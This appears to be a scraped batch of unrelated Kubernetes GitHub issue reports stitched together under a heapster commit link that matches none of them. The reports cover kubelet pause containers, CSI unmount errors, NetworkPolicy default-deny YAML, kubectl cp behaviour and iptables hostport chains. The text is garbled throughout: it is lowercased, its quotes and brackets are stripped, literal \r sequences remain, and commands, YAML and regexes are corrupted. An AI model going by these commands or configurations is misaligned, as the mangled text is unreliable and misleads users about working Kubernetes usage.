https://github.com/kubernetes/heapster/commit/54ecf0e9b4d078b7d901b0cf9edad9e66f5d5f31

when running  kubectl create -f -  it reads stdin, but when i hit ^d  eof  it does not stop reading input.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r >  >  \r kind bug\r \r   what happened  : when creating the deploy,the pod status was always containercreating ,when l use kubectl descirbe the pod ,it's show  like this:\r \r    \r firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   19h\t\t1s\t\t5169\tkubelet, slave-140\t\t\tnormal\t\tsandboxchanged\tpod sandbox changed, it will be killed and re-created.\r   19h\t\t0s\t\t5170\tkubelet, slave-140\t\t\twarning\t\tfailedsync\terror syncing pod\r    \r \r   what you expected to happen  : \r \r normal,it's should recreate a new sandbox successful , and the pod should be running normal.\r \r but when l login into the node, l use the commad    docker ps -a | grep podname    , l found the 2 pause exit container.  l think this is the reason to course the bug.\r \r   how to reproduce it  as minimally and precisely as possible   :\r l have no method to reproduce it. in my pro evn , happens very often, when l upgrade k8s to v1.7.6, but before cluster of v1.4.1 , l was not meeted this.\r \r some time,when was use the command   dokcer rm $ docker pa -aq    to clean the no running conatienrs , l may reproduce it. but it's not always reproduce it\r \r   anything else we need to know?  :\r in my k8s cluster , every node , l foud is still has many many  exist pause container, l don't kown why?  \r \r it's nomarl ,when a po was delete or not exist ,  the pod's pause container and the real container was delete by the kubelet.  \r \r so l want konw the reason why so many exit pause  container was still on the node.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.7.6\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: manual\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r i see the code in  https://github.com/kubernetes/kubernetes/blob/a97ce942e98441425b7ede4341dd4b0663164737/pkg/kubelet/kubelet.go l459  https://github.com/kubernetes/kubernetes/blob/a97ce942e98441425b7ede4341dd4b0663164737/pkg/kubelet/kubelet.go l459 \r here is the  noderef , and these all fields are optional, since there is no  namespace  for node, why it is here?\r \r   what you expected to happen  :\r \r can we delete it here? or can we add a new feature for node namespace isolation?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : the latest

currently kubelet has some volume related function in kubelet interface, we should move them under volume manager or kubelet_volume.go

failing job\r      sig-release-master-blocking kubeadm-gce  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce \r      sig-release-master-blocking kubeadm-gce-selfhosting  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-selfhosting \r \r    failing test\r      up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/10170 \r \r    triage results\r      ci-kubernetes-e2e-kubeadm-gce  https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=testing&job=ci-kubernetes-e2e-kubeadm-gce&test=up \r      ci-kubernetes-e2e-kubeadm-gce-selfhosting  https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=testing&job=ci-kubernetes-e2e-kubeadm-gce-selfhosting&test=up \r \r this test seems to have consistently failing since 4/12. here are the  commit changes  https://github.com/kubernetes/kubernetes/compare/dacb9ad69...cce6a95ce . @bentheelder can you please triage this failure?\r \r  / /  /milestone 1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper \r \r /assign @bentheelder \r

  \r   what happened  :\r i get this issue by running the official redis container on a kubernetes system:\r  1:s 18 may 20:07:13.473   warning you have transparent huge pages  thp  support enabled in your kernel. this will create latency and memory usage issues with redis. to fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. redis must be restarted after thp is disabled.\r  \r \r did anybody solve this by initcontainers or something else?

what happened  :\r kubelet has elaborate security mechanism that prevents it from accessing persistentvolumes that are not referenced by a running pod on the node.\r \r so, when a pod is  forcefully  deleted, kubelet starts unmounting all csi pvs that the pod used.  csi_plugin.teardown  succeeds, because it stored all relevant info in a json file. on the other hand,  csi_plugin.unmountdevice  fails, because it reads persistentvolume:\r \r    \r csi_attacher.go:471  kubernetes.io/csi: attacher.unmountdevice failed to get driver and volume name from device mount path: persistentvolumes \ kubernetes-dynamic-pv-b2f4b7ad6a4511e8\  is forbidden:  user \ system:node:qe-juzhao-310-qeos-2-nrr-1\  cannot get persistentvolumes at the cluster scope: no path found to object\r    \r \r https://github.com/kubernetes/kubernetes/blob/63c90bb47ec99247cbf29542edfc443ffda7298b/pkg/volume/csi/csi_attacher.go l549-l552\r \r   what you expected to happen  :\r unmountdevice   should not read the pv. it can use the same json hack as  setup / teardown .\r \r   how to reproduce it  as minimally and precisely as possible   :\r it's tricky, we found it when we tested a faulty csi cinder driver and we tried to clean things up with some force.\r \r   @vladimirvivien @saad-ali @sbezverk\r

is this a bug report  :\r there are numerous e2e tests which require ssh keys to be present, otherwise they are skipped.\r \r   what happened  :\r it's a weird behavior validation that is not api-driven or agnostic, a lot of those tests get skipped b/c of restrictions on how the e2es run. \r \r   what you expected to happen  :\r e2es should be behavioral driven.  if we can not validate via the api then there is a gap.  a lot of these checks were added early in k8s life and should be removed. \r \r /cc @kubernetes/sig-testing @kubernetes/cncf-conformance-wg\r  \r 

persisting important config options in a salted file works, but we expose ourselves to bugs on every cluster update. i'm more confident about a solution that persists important information through the apiserver.   one way to achieve this is: service controller comes up, looks for config map, if not found - looks for gce.conf:nodetags and persists to config map. this would also allow a reconciliation loop that doesn't depend on in memory state.  @kubernetes/goog-cluster

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r go vet check\r src\\github.com\\kubernetes\\kubernetes\\test\\integration\\evictions\\eviction\r s_test.go:214: unreachable code\r src\\github.com\\kubernetes\\kubernetes\\test\\integration\\evictions\\eviction\r s_test.go:188: result of fmt.errorf call not used\r \r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

console\r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.781+a2c7eb275443a5-dirty\ , gitcommit:\ a2c7eb275443a5afea4052094a07daf627e4a724\ , gittreestate:\ dirty\ , builddate:\ 2017-03-03t19:01:20z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.781+a2c7eb275443a5-dirty\ , gitcommit:\ a2c7eb275443a5afea4052094a07daf627e4a724\ , gittreestate:\ dirty\ , builddate:\ 2017-03-03t19:01:20z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ kubectl run nginx --image nginx \r deployment \ nginx\  created\r // progressdeadlineseconds was 600 by default \r \r $ kubectl patch deployment nginx -p '{\ spec\ :{\ progressdeadlineseconds\ :5}}'\r deployment \ nginx\  not patched\r // progressdeadlineseconds is changed to 5 successfully\r    \r \r better fix this in 1.6. @kubernetes/sig-cli-bugs

failure cluster  0d416ae87c9a6f2d8d95  https://go.k8s.io/triage 0d416ae87c9a6f2d8d95        error text:     failed to cd ../kubernetes_skew: chdir ../kubernetes_skew: no such file or directory           failure cluster statistics: 2 tests failed,    54 jobs failed,    250 builds failed. failure stats cover 1 day time range '6 jun 2017 03:03 utc' to '7 jun 2017 03:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | upgradetest | 35 | | skewtest | 29 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-gci-latest-rollback-etcd | 27 |  6 jun 2017 17:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-rollback-etcd/2816  | | ci-kubernetes-e2e-gce-gci-latest-upgrade-etcd | 27 |  6 jun 2017 17:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-upgrade-etcd/2762  | | ci-kubernetes-e2e-gce-gci-1.5-rollback-etcd | 16 |  6 jun 2017 18:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-1.5-rollback-etcd/2384  |   current status  https://go.k8s.io/triage 0d416ae87c9a6f2d8d95

covered in  51351 comments.\r \r what we should have done, perhaps, is define an empty networkpolicypeer  no podselector or namespaceselector or ipblock  as \ none\ . perhaps we should do that now, and update docs to say:\r \r default-deny ingress:\r \r    \r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: foobar\r spec:\r   policytypes:   \ ingress\   \r   ingress:\r   - from:  {} \r    \r \r default-deny egress:\r \r    \r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: foobar\r spec:\r   policytypes:   \ egress\   \r   egress:\r   - to:  {} \r    \r \r default-deny everything:\r \r    \r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: foobar\r spec:\r   policytypes:  \ ingress\ , \ egress\   \r   ingress:\r   - from:  {} \r   egress:\r   - to:  {} \r    \r \r why?\r \r 1  future rollbacks where a  from  field was newly added will default to fail-closed rather than undefined\r \r 2  if we normalize and document this syntax, we have an opportunity in v2 to get rid of the  policytypes  field and the weird \ ingress:   means deny-all, but ingress:{from:  } means allow all\  semantics.\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the opaque integer resources  oir  feature was officially deprecated in v1.8,  v1.9 is the earliest possible version to remove it.

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r every few seconds i get spam in my logs about \ could not determine public dns from aws metadata\  from every node. this is really very spammy.\r \r   what you expected to happen  :\r \r no spam.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r launch a private topology cluster with kops.\r \r   anything else we need to know?  :\r \r there will never be a public-hostname in the metadata for private topology clusters.  this line:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l1051\r \r should be glog.v 4  i suspect, like line 1033 above it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : jessie\r - kernel  e.g.  uname -a  : 4.4.78-k8s\r - install tools: kops\r - others:\r

 \r   what happened  :\r while integration testing my crd controller, i started to notice inconsistent behavior with the api server. here is what happened  note: k8s v1.8.0 :\r    sh\r $ minikube delete\r $ minikube start --feature-gates customresourcevalidation=true --kubernetes-version v1.8.0\r starting local kubernetes v1.8.0 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r setting up certs...\r connecting to cluster...\r setting up kubeconfig...\r starting cluster components...\r kubectl is now configured to use the cluster.\r loading cached images from config file.\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ cat > crd.yaml << eof\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: apiproxies.kanali.io\r spec:\r   group: kanali.io\r   version: v2\r   scope: namespaced\r   names:\r     kind: apiproxy\r     listkind: apiproxylist\r     plural: apiproxies\r     singular: apiproxy\r     shortnames:\r     - ap\r eof\r $ kubectl apply -f crd.yaml\r customresourcedefinition \ apiproxies.kanali.io\  created\r $ cat > test.yaml << eof\r apiversion: kanali.io/v2\r kind: apiproxy\r metadata:\r   name: example-basic-endpoint-backend\r   namespace: default\r spec:\r   source:\r     path: /example-basic-endpoint-backend\r   target:\r     path: /\r     backend:\r       endpoint: \ https://httpbin.org\ \r eof\r $ kubectl apply -f test.yaml\r apiproxy \ example-basic-endpoint-backend\  created\r $ kubectl apply -f test.yaml\r apiproxy \ example-basic-endpoint-backend\  configured\r $ kubectl apply -f test.yaml\r the apiproxy \ example-basic-endpoint-backend\  is invalid: apiversion: invalid value: \ apiproxy\ : must be kanali.io/v2\r    \r \r   what you expected to happen  :\r i expect  test.yaml  to be able to be applied successfully an infinite amount of time.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the above steps and note the kubernetes and kubectl versions.\r

\r actual results:\r conditions:\r   type             status    lastheartbeattime                 lasttransitiontime                reason                     message\r   ----             ------    -----------------                 ------------------                ------                     -------\r   outofdisk        false     fri, 02 feb 2018 06:17:03 +0000   thu, 01 feb 2018 06:01:45 +0000   kubelethassufficientdisk   kubelet has sufficient disk space available\r   memorypressure   unknown   fri, 02 feb 2018 06:17:03 +0000   fri, 02 feb 2018 06:17:45 +0000   nodestatusunknown          kubelet stopped posting node status.\r   diskpressure     unknown   fri, 02 feb 2018 06:17:03 +0000   fri, 02 feb 2018 06:17:45 +0000   nodestatusunknown          kubelet stopped posting node status.\r   ready            unknown   fri, 02 feb 2018 06:17:03 +0000   fri, 02 feb 2018 06:17:45 +0000   nodestatusunknown          kubelet stopped posting node status.\r    \r \r looks like it was originally correct:\r https://github.com/kubernetes/kubernetes/pull/48983/files diff-209cdbcfa0c2a92c871efbfdb362860br960\r \r this a pr removed it:\r https://github.com/kubernetes/kubernetes/pull/51294/files diff-a44cd14a0381ca49bcbaaf967b3cc9b0l988\r \r i think this just got caught up in a sweep to remove outofdisk from controllers and no one realized that we still needed this until it is removed entirely.\r \r xref https://bugzilla.redhat.com/show_bug.cgi?id=1541263\r \r @dashpole @derekwaynecarr @wjiangjay

as it stands  apiregistration.k8s.io/v1beta1 , it's very hard to declaratively install an apiserver since you need to create the ca keypair/certificate  before  specifying the apiservice.\r \r it would be nice if the apiservice instead pointed to an external configmap  or maybe secret, although i acknowledge that the cabundle contents are not secret , so that an in-cluster controller of some sort could generate the ca material asynchronously.\r \r 

kubectl cp import/mysql/ resize-deployment-5545544bc9-56b6f:/var/lib/ \r \r if i have a  mysql  directory within  import/mysql  directory it copies the contents of  import/mysql/mysql  instead???\r \r in addition:\r \r kubectl cp ../media nfs-server-72p8m:/exports returns success - but the files are not transferred...\r \r if i add the trailing slash though it works... kubectl cp ../media nfs-server-72p8m:/exports/

right now you can not adjust tcp settings from the command line. this is useful for long-running commands  e.g.  kubectl proxy   which may be inactive and time out from time to time.\r \r @kubernetes/sig-cli-feature-requests

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   what happened  :\r \r i have a cluster running with about 800 nodes, using kubernetes v1.11. find kubectl failed to create resource, due to \ resource quota evaluates timeout\ . \r \r   can anyone help on this, any possible causes ?  \r \r \r    \r   kubectl create -f a.yaml\r error from server  internalerror : error when creating \ a.yaml\ : internal error occurred: resource quota evaluates timeout\r    \r in apiserver and controller-manager, also has some error logs.\r apiserver:\r    \r e0817 07:40:00.545983       1 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r e0817 07:40:00.546062       1 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r e0817 07:40:00.547124       1 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ http: handler timeout\ }\r    \r controler-manager:\r    \r e0817 07:38:41.028502       1 cronjob_controller.go:109  can't list jobs: the server was unable to return a response in the time allotted, but may still be processing the request  get jobs.batch \r    \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the kubelet panics in a loop when it tries to send a request on that channel. it should not panic.\r    \r panic: send on closed channel\r oct 30 22:54:13 e2e-test-dyzz-minion-group-6h4b kubelet 23947 : goroutine 1235  running :\r oct 30 22:54:13 e2e-test-dyzz-minion-group-6h4b kubelet 23947 : k8s.io/kubernetes/pkg/kubelet/util/pluginwatcher.  watcher .traverseplugindir.func1.1 0xc00051d380, 0xc001ce1200, 0x36 \r oct 30 22:54:13 e2e-test-dyzz-minion-group-6h4b kubelet 23947 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/util/pluginwatcher/plugin_watcher.go:191 +0x68\r oct 30 22:54:13 e2e-test-dyzz-minion-group-6h4b kubelet 23947 : created by k8s.io/kubernetes/pkg/kubelet/util/pluginwatcher.  watcher .traverseplugindir.func1\r oct 30 22:54:13 e2e-test-dyzz-minion-group-6h4b kubelet 23947 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/util/pluginwatcher/plugin_watcher.go:190 +0x1ad\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r - create socket that is closed:  sudo mkfifo /var/lib/kubelet/plugins/fake-reg.sock   fifo is not exactly the same as a standard registration socket but for purpose of repro i think it hits the same codepath \r - observe panic\r \r   anything else we need to know?  :\r this happens during usage of kubernetes when some device tries to do registration but crashes and fails to clean up its sockets.\r \r   /cc @yujuhong

it would be nice to have a pod/service that expose the docker remote api, and translate it to v1beta3 api call to the master.  that way developers could be able to do things like:      kubectl create kuber/pod.yaml kuber/service.yaml export docker_host=$ kubectl get services kuber-service-id --ip  docker run -d -p 8080:8080 -name hello busybox nc -p 8080 -ll -e echo hello world! curl $ kubectl get services hello-service-id --ip :8080

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ must match the regex\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.2-beta.0-dirty\ , gitcommit:\ 5f332aab13e58173f85fd204a2c77731f7a2573f\ , gittreestate:\ dirty\ , builddate:\ 2017-01-02t00:07:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r \r kubernetes shows wrong error message when creating ingress resource with invalid host. accorting to id, a wildcard url is incorrect, but kubernetes accepts following ingress:\r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   namespace: deis\r   name: deis\r spec:\r   rules:\r   - host: \  .example.com\ \r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: deis-router\r           serviceport: 80\r    \r \r   what you expected to happen  :\r \r an error message:\r \r  the ingress \ deis\  is invalid: spec.rules 0 .host: invalid value: \  .example.com\ : must match the regex  a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?    e.g. 'example.com'  \r \r   extra notes  :\r \r i think it's fine to allow hosts with wildcard character, but please update the error message above with the true regexp.. e.g.   a-z0-9\\    -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?   \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r ---\r statefulset / petset\r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r    \r k version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.4111+e7950e6f496159-dirty\ , gitcommit:\ e7950e6f4961595e6c9df878bbc6dd520c792d03\ , gittreestate:\ dirty\ , builddate:\ 2017-01-28t06:09:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.4111+e7950e6f496159-dirty\ , gitcommit:\ e7950e6f4961595e6c9df878bbc6dd520c792d03\ , gittreestate:\ dirty\ , builddate:\ 2017-02-08t05:49:00z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : dind-kubernetes\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : 4.4.0-59-generic\r -   install tools  :dind\r -   others  :\r \r \r   what happened  :\r it makes sense to have default anti-affinity property along with statefulset,  the workloads deployed via ss are either going to be master-slave or db/cache shards or quorum of self-cooperating members.  none of these workloads would want to be co-located in the same node/host.\r \r if above is true then it appears that anti-affinity seems a necessity, unless we have some compelling usecases not to use anti-affinity.  \r \r   what you expected to happen  :  there is a reasonable spread by selector-spreading   but that is not anti-affinity.  like selector-spread is automatic for any object with a label selector, ss could also have anit-affinity and it will be one less thing to worry for the enduser when creating ss object. \r \r the only problem i see is when ss objects are created in dev env like minikube with strong affinity constrains. \r \r   how to reproduce it    as minimally and precisely as possible :  create a statefulset with more replicas than available nodes in the cluster. \r \r   anything else we need to know  :  for starters i have  a working code that creates soft anti-affinity object for every pod that is created via ss controller.  i would love to raise a pr for review if this feature request sounds reasonable to the community.   the best thing to do would be to create soft affinity for dev-envs and hard affinity for larger cluster automatically. \r \r when an  ss object  https://github.com/kubernetes/kubernetes/files/760513/d1.txt   without explicitly mentioning anti-affinity constrains  is created,  the controller adds a default  soft  antiaffinity term.   the ss attempts to create 8 replica on a 4 node k8s cluster. \r \r    \r i0208 06:07:32.401800       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-0, pod.kind=  result= {172.17.0.4 0} {172.17.0.9 0} {172.17.0.7 0} {172.17.0.8 0} \r i0208 06:08:01.409961       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-1, pod.kind=  result= {172.17.0.4 10} {172.17.0.9 10} {172.17.0.7 10} {172.17.0.8 0} \r i0208 06:08:18.501457       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-2, pod.kind=  result= {172.17.0.9 0} {172.17.0.7 10} {172.17.0.8 0} {172.17.0.4 10} \r i0208 06:09:05.046998       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-3, pod.kind=  result= {172.17.0.8 0} {172.17.0.4 0} {172.17.0.9 0} {172.17.0.7 10} \r i0208 06:09:16.840119       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-4, pod.kind=  result= {172.17.0.7 0} {172.17.0.8 0} {172.17.0.4 0} {172.17.0.9 0} \r i0208 06:09:29.006456       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-5, pod.kind=  result= {172.17.0.4 5} {172.17.0.9 5} {172.17.0.7 5} {172.17.0.8 0} \r i0208 06:09:50.093591       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-6, pod.kind=  result= {172.17.0.4 5} {172.17.0.9 5} {172.17.0.7 0} {172.17.0.8 0} \r i0208 06:10:02.720656       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-7, pod.kind=  result= {172.17.0.7 0} {172.17.0.8 0} {172.17.0.4 0} {172.17.0.9 5} \r i0208 06:27:22.798799       1 interpod_affinity.go:237  dhiliplogs: calculateinterpodaffinitypriority  pod.name=d1-7, pod.kind=  result= {172.17.0.9 5} {172.17.0.7 0} {172.17.0.8 0} {172.17.0.4 0} \r    \r thanks in advance,\r dhilip\r @erictune @kow3ns @smarterclayton @kargakis @bprashanth @enisoc @kubernetes/sig-apps-feature-requests

resources can be deleted, but still exist in the api before they are reaped.  they should not be valid during this time.

when we are shedding load it is very difficult to determine why.

is this a bug report or feature request?  :\r  \r   what happened  :\r if you have a pod with hostport, then kubenet will create  kube-hostports  iptables chain, if so, the iptables nat table will be like:\r    \r chain prerouting  policy accept \r target     prot opt source               destination         \r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r kube-hostports  all  --  0.0.0.0/0            0.0.0.0/0            /  kube hostport portals  / addrtype match dst-type local\r \r chain output  policy accept \r target     prot opt source               destination         \r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r kube-hostports  all  --  0.0.0.0/0            0.0.0.0/0            /  kube hostport portals  / addrtype match dst-type local\r \r chain postrouting  policy accept \r target     prot opt source               destination         \r masquerade  all  --  127.0.0.0/8          0.0.0.0/0            /  snat for localhost access to hostports  /    \r \r chain kube-hostports  2 references \r target     prot opt source               destination         \r kube-hp-2mue7bxtv56fm567  tcp  --  0.0.0.0/0            0.0.0.0/0            /  whoami-fhdmg_default hostport 3000  / tcp dpt:3000\r \r chain kube-hp-2mue7bxtv56fm567  1 references \r target     prot opt source               destination         \r kube-mark-masq  all  --  10.64.2.24           0.0.0.0/0            /  whoami-fhdmg_default hostport 3000  /\r dnat       tcp  --  0.0.0.0/0            0.0.0.0/0            /  whoami-fhdmg_default hostport 3000  / tcp to:10.64.2.24:3000\r    \r \r the hostport related chains and rules should be maintained by kubenet, but they are using  kube-mark-masq  rule, which created and maintained by kube-proxy. \r \r and if kube-proxy need cleanup iptables rules, will have this error, and left all iptables rules:\r    \r i0403 11:26:57.863345       1 server_others.go:209  tearing down inactive rules.\r e0403 11:26:57.898779       1 proxier.go:423  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 34 failed\r  \r    \r \r   what you expected to happen  :\r if we decide  kube-mark-masq  is a public chain which all k8s packages can use, then kube-proxy should not clean this this chain.\r \r if we decide  kube-mark-masq  is a private chain, then kubenet need  to have another chain do this work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with container port like:\r    \r       containers:\r       - name: xxxxx\r         image: xxxx\r         ports:\r         - containerport: 3000\r           hostport: 3000\r    \r 2. wait  kube-hostports  iptables chain created.\r 3. use  kube-proxy --cleanup , return err. then check iptables rules.\r 